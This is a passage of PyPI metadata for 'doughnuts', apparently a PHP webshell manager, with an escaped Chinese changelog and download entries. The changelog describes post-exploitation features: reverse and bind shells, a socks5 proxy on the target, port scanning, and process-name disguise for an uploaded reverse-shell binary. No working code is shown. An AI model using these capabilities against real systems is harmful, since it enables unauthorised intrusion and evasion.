\u91cd\u5199\u8f93\u5165\uff0c\u73b0\u5728\u652f\u6301\u6309\u4e0bctrl+c\u4e0ectrl+d\n- \u6dfb\u52a0clear\u547d\u4ee4\n\n\n### V2.1\n- \u4fee\u6539windows\u73af\u5883\u4e0bpython\u53cd\u5f39shell\u4e0a\u4f20\u4f4d\u7f6e,\u5e76\u4f7f\u5176\u53ef\u4ee5\u8fd4\u56de\u9519\u8bef\n- \u4fee\u6539\u5e2e\u52a9\u83dc\u5355\u4e3a\u7b49\u5bbd\n- \u6dfb\u52a0socks\u547d\u4ee4,\u7528\u4e8e\u5728\u76ee\u6807\u4e3b\u673a\u4e2d\u5f00\u542fsocks5\u670d\u52a1\u5668\n\n\n### V2.0\n\n- \u4fee\u590d\u4e00\u4e2aBUG\u66fe\u5bfc\u81f4\u65e0\u6cd5\u8fde\u63a5php7\u7684webshell\n- \u4fee\u590d\u4e00\u4e2aBUG\u66fe\u5bfc\u81f4help\u65e0\u6cd5\u8f93\u51fa\u5bf9\u5e94\u7684\u5e2e\u52a9\n- \u4fee\u6539help\u547d\u4ee4\u7684\u522b\u540d\u4e3a?,\u73b0\u5728\u53ea\u8f93\u5165?\u6216help\u5c06\u8f93\u51fa\u5e2e\u52a9\u83dc\u5355\n- \u4fee\u6539info\u8f93\u51fa\u7684\u4fe1\u606f\n- \u4fee\u6539\u5404\u4e2a\u51fd\u6570\u7684\u5e2e\u52a9\u4fe1\u606f,\u53d8\u5f97\u66f4\u52a0\u7edf\u4e00\n- \u91cd\u5199fc\u4e0efwpf\u547d\u4ee4,\u91cd\u5199\u6811\u72b6\u8f93\u51fa\n- \u65b0\u589els,bindshell(only for *unix)\u547d\u4ee4\n\n### V1.9\n- \u6dfb\u52a0search\u547d\u4ee4,\u4f7f\u7528glob\u51fd\u6570\u9012\u5f52\u641c\u7d22\u6587\u4ef6.\u547d\u4ee4\u683c\u5f0f\u4e3asearch {pattern}\n\n### V1.8\n- \u4f18\u5316\u8fde\u63a5\u65f6\u53d1\u9001\u7684\u8bf7\u6c42,\u4ece\u53d1\u9001\u4e09\u6b21\u53d8\u6210\u53d1\u90012\u6b21\n- \u4fee\u6539pdf\u547d\u4ee4\u7684\u903b\u8f91,\u5728\u8fde\u63a5\u65f6\u83b7\u53d6\n- \u4f18\u5316reshell\u547d\u4ee4,\u547d\u4ee4\u683c\u5f0f\u4e3areshell {lhost} {port} {type=[python|script|upload]{1|2|3},default = 0 (Python:1 Not Python:3)} {(Only for Mode 2) fakename=/usr/lib/systemd} \u4e09\u79cd\u6a21\u5f0f\u5206\u522b\u4e3a:1->\u4f7f\u7528python pty\u6a21\u5757\u5347\u7ea7, 2->\u4f7f\u7528linux\u81ea\u5e26\u7684script\u547d\u4ee4\u5347\u7ea7, 3->\u4e0a\u4f20\u4e00\u4e2a\u53cd\u5f39pty\u7684\u4e8c\u8fdb\u5236\u6587\u4ef6\u5e76\u8fd0\u884c(\u53ef\u4ee5\u4f2a\u9020\u8fdb\u7a0b\u540d,\u82e5\u65e0\u6cd5\u53cd\u5f39\u8bf7\u8fdb\u5165libs\u76ee\u5f55\u62ff\u53d6\u6e90\u7801,\u4f7f\u7528\u76ee\u6807\u76f8\u540c\u53d1\u884c\u7248\u8fdb\u884c\u7f16\u8bd1\u540e\u8986\u76d6\u539freverse_server_light\u6587\u4ef6)\n\n\n### V1.7\n\n- \u4fee\u6539reshell\u547d\u4ee4,\u4fee\u590dbug,\u4f18\u5316\u4f53\u9a8c,\u53ef\u4ee5\u968f\u610f\u4f2a\u88c5\u8fdb\u7a0b\u540d\n- \u5728libs\u76ee\u5f55\u4e0b\u653e\u7f6ereverse_server_light\u7684\u6e90\u7801,\u65b9\u4fbf\u7f16\u8bd1\u4e0e\u4fee\u6539(origin:https://github.com/QAX-A-Team/ptyshell)\n- \u91cd\u5199portscan,\u652f\u6301\u4e09\u79cd\u626b\u63cf\u65b9\u5f0f\n\n\n### V1.6\n\n- \u4fee\u590d\u4e86\u82e5\u5e72bug\n- \u6dfb\u52a0\u4e86reshell\u547d\u4ee4,\u76d1\u542c\u672c\u5730\u7aef\u53e3,\u5e76\u8ba9\u76ee\u6807\u53cd\u5f39\u4e00\u4e2a\u5b8c\u6574\u4ea4\u4e92\u5f0f\u7684shell(\u4ec5\u9650\u53cc\u65b9\u7cfb\u7edf\u90fd\u662flinux\u4e14\u53ef\u80fd\u5b58\u5728\u4e00\u5b9a\u7684\u95ee\u9898)\n\n\n### V1.5\n\n- modify\u6307\u4ee4\u73b0\u5728\u4f1a\u8c03\u7528notepad/vim\u8fdb\u884c\u7f16\u8f91\n- write\u6307\u4ee4\u73b0\u5728\u4f1a\u8c03\u7528notepad/vim\u8fdb\u884c\u7f16\u8f91\n- dump\u547d\u4ee4\u73b0\u5728\u4f7f\u7528\u539f\u59cbphp\u4ee3\u7801\u8fdb\u884c\u538b\u7f29,\u53ef\u4ee5\u538b\u7f29\u5b50\u76ee\u5f55\n- \u4f18\u5316\u4e86\u53d1\u9001payload\u7684\u95f4\u9694\u7b26\n\n### V1.4\n\n- \u6dfb\u52a0\u6307\u4ee4:\u4fee\u6539\u6587\u4ef6\n- \u5173\u95eddebug\u6a21\u5f0f\n- \u4fee\u590d\u4e86\u67d0\u4e9b\u60c5\u51b5\u4e0bfwpf,fc\u6307\u4ee4\u65e0\u6cd5\u4f7f\u7528\u7684\u60c5\u51b5,\u73b0\u5728\u53d1\u9001\u6570\u636e\u65f6\u4f1a\u5173\u95ed\u9519\u8bef\u63d0\u793a\n\n\n## \u514d\u8d23\u58f0\u660e\n\n\u672c\u9879\u76ee\u4ec5\u4f9b\u7f51\u7ad9\u7ba1\u7406\u4eba\u5458\u4e0e\u6e17\u900f\u6d4b\u8bd5\u4eba\u5458\u5b66\u4e60\u4e0e\u4ea4\u6d41,\u4efb\u4f55\u4f7f\u7528\u672c\u9879\u76ee\u8fdb\u884c\u7684\u4e00\u5207\u672a\u6388\u6743\u653b\u51fb\u884c\u4e3a\u4e0e\u672c\u4eba\u65e0\u5173.\n\n",
    "bugtrack_url": null,
    "license": "MIT",
    "summary": "A webshell manager for PHP",
    "version": "3.3.1",
    "split_keywords": [],
    "urls": [
        {
            "comment_text": "",
            "digests": {
                "md5": "9de2ae1566dbc0e49e0ae70214b735f7",
                "sha256": "b8bb407ecb836e792fbb9f1d528ff7273fd0f36fbdb24a03e4f0d4a6f393371d"
            },
            "downloads": -1,
            "filename": "doughnuts-3.3.1-py3-none-any.whl",
            "has_sig": false,
            "md5_digest": "9de2ae1566dbc0e49e0ae70214b735f7",
            "packagetype": "bdist_wheel",
            "python_version": "py3",
            "requires_python": ">=3.6,<4.0",
            "size": 111859,
            "upload_time": "2020-07-08T05:37:39",
            "upload_time_iso_8601": "2020-07-08T05:37:39.908663Z",
            "url": "https://files.pythonhosted.org/packages/4f/29/79794e595a14cb249f84309d1ef36cf052fcff0c9dc504e759a952923698/doughnuts-3.3.1-py3-none-any.whl",
            "yanked": false,
            "yanked_reason": null
        },
        {
            "comment_text": "",
            "digests": {
                "md5": "3ca3ec8f3ae6ac75f9ca7ab19f42e3f2",
                "sha256": "2914800062aa8f7f195703db14d4519e78469e001f49d05ba65ed5a930a369e6"
            },
            "downloads": -1,
            "filename": "doughnuts-3.3.1.tar.gz",
            "has_sig": false,
            "md5_digest": "3ca3ec8f3ae6ac75f9ca7ab19f42e3f2",
            "packagetype": "sdist",
            "python_version": "source",
            "requires_python": ">=3.6,<4.0",
            "size": 87415,
            "upload_time": "2020-07-08T05:37:41",
            "upload_time_iso_8601": "2020-07-08T05:37:41.460106Z",
            "url": "https://files.pythonhosted.org/packages/48/14/f0418996395d8ff883f23ccb0c5c0bab8cc340d060884e584ea97f30245a/doughnuts-3.3.1.tar.gz",
            "yanked": false,
            "yanked_reason": null
        }
    ],
    "upload_time": "2020-07-08 05:37:41",
    "github": true,
    "gitlab": false,
    "bitbucket": false,
    "github_user": null,
    "github_project": "way29",
    "error": "Could not fetch GitHub repository",
    "lcname": "doughnuts"
}
        
Elapsed time: 0.11893s